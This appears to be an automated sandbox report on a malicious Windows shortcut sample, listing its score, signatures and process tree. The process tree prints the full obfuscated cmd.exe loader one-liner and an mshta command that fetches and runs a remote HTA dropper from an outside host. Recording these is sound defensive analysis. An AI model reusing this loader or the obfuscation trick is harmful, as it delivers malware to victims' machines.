Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:20

General

  • Target
    DOC-JXOZYY.lnk
  • Size 2KB
  • Sample260804-j8t7savdrc
  • SHA256 74c23152cd37d80760e9acea61f919310dd2a82d584580c65a2ec334723998a1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JXOZYY.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4968
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set FxjpJ=cacheomderorcache&set gawt=cachelrdiywkfirhcache&set WWfU=syszkbmfpihbhykltcaesys&set QFNpr=f0mqy&&set qWjFY=q3tshtamtf&set CP=0fslw&&set gkm=r5utasx7&&set VQr=zrqrtm4x&set AglR=dbgdfqalchsdbg&set WDsTF=netmlnnofponet&set jba=syscwsttkxhtsys&set CE=cacheeeaobgahsjpbrvcnswcache&set IH=datzclhytdat&set kdc=logvfiyqnlog&set Pukf=logdmjkgomslog&&set XZzzr=http@s@://[email protected]@at/h/@e@[email protected]@hp?r@=39@1469FB5D82@D@B&&start /b !QFNpr:~2,1!!qWjFY:~3,4! !XZzzr:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5300
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5740

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads